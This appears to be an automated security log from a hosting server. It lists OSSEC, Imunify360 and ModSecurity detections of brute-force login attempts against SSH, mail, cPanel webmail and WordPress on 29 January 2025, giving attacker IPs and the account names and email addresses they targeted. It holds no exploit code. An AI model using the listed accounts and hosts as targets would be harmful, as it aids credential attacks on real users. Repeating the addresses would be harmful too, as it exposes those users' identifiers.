Jan 29 13:09:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.212.20.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 13:10:04 ait sshd[143525]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:10:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.123.116.93
description:
2025-01-29 13:09:28 dovecot_plain authenticator failed for ([118.123.116.93]) [118.123.116.93]:36042: 535 Incorrect authentication data (set_id=ug21m1150009)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.232.74.0
description:
[2025-01-29 13:09:55 +0100] info [webmaild] 45.232.74.0 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.20.130
description:
2025-01-29 13:09:56 dovecot_plain authenticator failed for ([123.212.20.130]) [123.212.20.130]:38714: 535 Incorrect authentication data (set_id=amihere-ackah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.75.30.6
description:
Jan 29 13:10:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.75.30.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.75.30.6
description:
2025-01-29 13:10:10 dovecot_plain authenticator failed for ([218.75.30.6]) [218.75.30.6]:34159: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.123.116.93
description:
Jan 29 13:09:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.123.116.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.178.165.251
description:
Jan 29 13:10:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.178.165.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.165.251
description:
2025-01-29 13:10:15 dovecot_plain authenticator failed for ([211.178.165.251]) [211.178.165.251]:34515: 535 Incorrect authentication data (set_id=amihere-ackah)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 13:10:04 ait sshd[143525]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 29 13:10:21 ait sshd[144017]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.94.206.187
description:
Jan 29 13:10:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.94.206.187 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.236.162.131
description:
[2025-01-29 13:11:11 +0100] info [webmaild] 45.236.162.131 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 29 13:10:21 ait sshd[144017]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.94.206.187
description:
2025-01-29 13:10:30 dovecot_plain authenticator failed for (177-94-206-187.dsl.telesp.net.br) [177.94.206.187]:53470: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 29 13:12:18 ait sshd[145389]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.5.171.3
description:
[2025-01-29 13:11:22 +0100] info [webmaild] 45.5.171.3 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.28.192.118
description:
Jan 29 13:11:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.28.192.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.28.192.118
description:
2025-01-29 13:11:57 dovecot_plain authenticator failed for ([1.28.192.118]) [1.28.192.118]:51153: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 85.100.104.22
description:
[2025-01-29 13:12:02 +0100] info [webmaild] 85.100.104.22 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.110.48.181
description:
Jan 29 13:12:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.110.48.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.110.48.181
description:
2025-01-29 13:12:06 dovecot_plain authenticator failed for broadband-37-110-48-181.ip.moscow.rt.ru [37.110.48.181]:33648: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 29 13:12:18 ait sshd[145389]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 93.170.68.161
description:
[2025-01-29 13:11:46 +0100] info [webmaild] 93.170.68.161 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 175.125.94.195
description:
Jan 29 13:12:20 ait sshd[145389]: Failed password for invalid user ijari from 175.125.94.195 port 59924 ssh2


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.228.148.221
description:
[2025-01-29 13:13:06 +0100] info [webmaild] 168.228.148.221 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
description:
2025-01-29 13:13:47 dovecot_plain authenticator failed for ([211.104.166.110]) [211.104.166.110]:47623: 535 Incorrect authentication data (set_id=ads19a00054y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:13:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:14:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.75.227.38
description:
Jan 29 13:13:24 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.75.227.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.75.227.38
description:
2025-01-29 13:13:26 dovecot_plain authenticator failed for 128-75-227-38.broadband.corbina.ru [128.75.227.38]:44717: 535 Incorrect authentication data (set_id=ads19a00054y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.219.78.211
description:
[2025-01-29 13:13:33 +0100] info [webmaild] 102.219.78.211 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
description:
Jan 29 13:13:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:15:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 13:15:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.204.233.3
domain: www.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:13-14.15.204.233.3


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 13:15:48 ait sshd[148722]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 13:15:48 ait sshd[148722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 59.103.110.7
description:
[2025-01-29 13:15:58 +0100] info [webmaild] 59.103.110.7 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 37.97.228.222
domain: mail.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:iric_admin||WPU:iric_admin||RSV:6.65||T:APACHE||MV:13-15.37.97.228.222


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 223.29.215.65
description:
[2025-01-29 13:16:00 +0100] info [webmaild] 223.29.215.65 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 13:16:27 ait sshd[149406]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.88.176.131
description:
[2025-01-29 13:17:09 +0100] info [webmaild] 181.88.176.131 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 13:16:27 ait sshd[149406]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 46.242.54.65
description:
[2025-01-29 13:16:31 +0100] info [webmaild] 46.242.54.65 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
description:
Jan 29 13:18:09 ait sshd[150717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234  user=root


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 29 13:18:09 ait sshd[150717]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 66.231.68.25
description:
[2025-01-29 13:18:06 +0100] info [webmaild] 66.231.68.25 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.61.92.114
description:
[2025-01-29 13:18:10 +0100] info [webmaild] 187.61.92.114 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.57.240.191
description:
[2025-01-29 13:18:54 +0100] info [webmaild] 178.57.240.191 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.4.52.60
description:
[2025-01-29 13:19:40 +0100] info [webmaild] 177.4.52.60 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 13:22:15 ait sshd[154422]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 13:22:15 ait sshd[154422]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.167.166.147
description:
[2025-01-29 13:22:38 +0100] info [webmaild] 45.167.166.147 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.18
description:
Jan 29 13:22:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
description:
2025-01-29 13:22:49 dovecot_plain authenticator failed for (mondicaly) [102.53.15.18]:55778: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.110.120.96
description:
2025-01-29 13:24:11 dovecot_plain authenticator failed for ([189.110.120.96]) [189.110.120.96]:36730: 535 Incorrect authentication data (set_id=bscs18bit0021y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.198.138.148
description:
Jan 29 13:24:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.198.138.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.198.138.148
description:
2025-01-29 13:24:04 dovecot_plain authenticator failed for ([120.198.138.148]) [120.198.138.148]:57227: 535 Incorrect authentication data (set_id=jobs@jaster.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.110.120.96
description:
Jan 29 13:24:09 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.110.120.96 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.84.154.93
description:
[2025-01-29 13:24:50 +0100] info [webmaild] 187.84.154.93 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.84.34.85
description:
2025-01-29 13:24:21 dovecot_plain authenticator failed for (ppp075.bol-online.com) [202.84.34.85]:52642: 535 Incorrect authentication data (set_id=bscs18bit0021y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.246.112.254
description:
Jan 29 13:24:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.246.112.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 95.221.1.57
description:
[2025-01-29 13:24:30 +0100] info [webmaild] 95.221.1.57 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 13:25:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.84.34.85
description:
Jan 29 13:24:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.84.34.85 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.145.217.57
description:
[2025-01-29 13:24:23 +0100] info [webmaild] 197.145.217.57 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.246.112.254
description:
2025-01-29 13:24:30 dovecot_plain authenticator failed for nz112l254.bb60246.ctm.net ([60.246.118.115]) [60.246.112.254]:46843: 535 Incorrect authentication data (set_id=jobs)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.250.252.192
description:
[2025-01-29 13:24:54 +0100] info [webmaild] 177.250.252.192 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.225.244.46
description:
[2025-01-29 13:25:26 +0100] info [webmaild] 103.225.244.46 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.129.128.108
description:
2025-01-29 13:26:44 dovecot_plain authenticator failed for ([39.129.128.108]) [39.129.128.108]:40540: 535 Incorrect authentication data (set_id=adsby@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.190.91.113
description:
Jan 29 13:26:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.190.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.190.91.113
description:
2025-01-29 13:26:48 dovecot_plain authenticator failed for ([103.190.91.113]) [103.190.91.113]:59992: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.249.167.45
description:
2025-01-29 13:26:54 dovecot_plain authenticator failed for ([50.249.167.45]) [50.249.167.45]:33672: 535 Incorrect authentication data (set_id=adsby)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:27:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 182.252.75.36
description:
[2025-01-29 13:26:28 +0100] info [webmaild] 182.252.75.36 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.29.118.52
description:
Jan 29 13:26:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.29.118.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.29.118.52
description:
2025-01-29 13:26:38 dovecot_plain authenticator failed for (173-29-118-52.client.mchsi.com) [173.29.118.52]:53426: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.129.128.108
description:
Jan 29 13:26:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.129.128.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.249.167.45
description:
Jan 29 13:26:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.249.167.45 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 109.107.243.196
description:
[2025-01-29 13:28:37 +0100] info [webmaild] 109.107.243.196 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.40.116.6
description:
[2025-01-29 13:28:59 +0100] info [webmaild] 179.40.116.6 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.124.191.116
description:
Jan 29 13:28:35 ait sshd[159619]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.124.191.116 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.124.191.116
description:
Jan 29 13:28:35 ait sshd[159619]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.124.191.116


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.200.31.181
description:
[2025-01-29 13:28:36 +0100] info [webmaild] 213.200.31.181 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.22.170.107
description:
[2025-01-29 13:30:15 +0100] info [webmaild] 177.22.170.107 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.124.2.108
description:
[2025-01-29 13:30:17 +0100] info [webmaild] 177.124.2.108 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.184.169.145
description:
[2025-01-29 13:29:37 +0100] info [webmaild] 45.184.169.145 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.112.12.146
description:
[2025-01-29 13:30:33 +0100] info [webmaild] 190.112.12.146 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 13.60.79.28
domain: gvu.titopen.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:gvu_admin||WPU:gvu_admin||RSV:6.65||T:APACHE||MV:13-30.13.60.79.28


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.124.191.116
description:
Jan 29 13:31:53 ait sshd[161662]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.124.191.116  user=root


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 13:31:56 ait sshd[161688]: Invalid user responsivetemplates.nl 2001 from 111.231.56.128 port 37706


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 13:31:56 ait sshd[161688]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 13:31:56 ait sshd[161688]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.78.50.78
description:
[2025-01-29 13:31:38 +0100] info [webmaild] 102.78.50.78 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.124.191.116
description:
Jan 29 13:31:53 ait sshd[161662]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.124.191.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.124.191.116
description:
Jan 29 13:33:06 ait sshd[162372]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.124.191.116 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.124.191.116
description:
Jan 29 13:33:06 ait sshd[162372]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.124.191.116


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 13:33:16 ait sshd[162552]: Invalid user loicexpertise.com 2a00 from 122.51.104.242 port 48536


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 13:33:16 ait sshd[162552]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 13:33:16 ait sshd[162552]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
[2025-01-29 13:33:18 +0100] info [cpaneld] 212.227.201.53 - lemsas "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
[2025-01-29 13:34:04 +0100] info [whostmgrd] 212.227.201.53 - lemsas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 31.25.139.46
description:
[2025-01-29 13:34:15 +0100] info [webmaild] 31.25.139.46 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.155.191.166
description:
Jan 29 13:34:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.155.191.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.155.191.166
description:
2025-01-29 13:34:41 dovecot_plain authenticator failed for ([39.155.191.166]) [39.155.191.166]:2106: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.137.159
description:
Jan 29 13:34:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.137.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.137.159
description:
2025-01-29 13:34:50 dovecot_plain authenticator failed for ([103.109.44.163]) [122.165.137.159]:41046: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.202.10.34
description:
[2025-01-29 13:35:27 +0100] info [webmaild] 154.202.10.34 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 78.171.162.208
description:
[2025-01-29 13:35:55 +0100] info [webmaild] 78.171.162.208 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.22.145
description:
[2025-01-29 13:35:59 +0100] info [webmaild] 191.37.22.145 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.155.114.62
description:
Jan 29 13:36:37 ait sshd[164831]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.155.114.62 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.155.114.62
description:
Jan 29 13:36:37 ait sshd[164831]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.155.114.62


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.205.136.232
description:
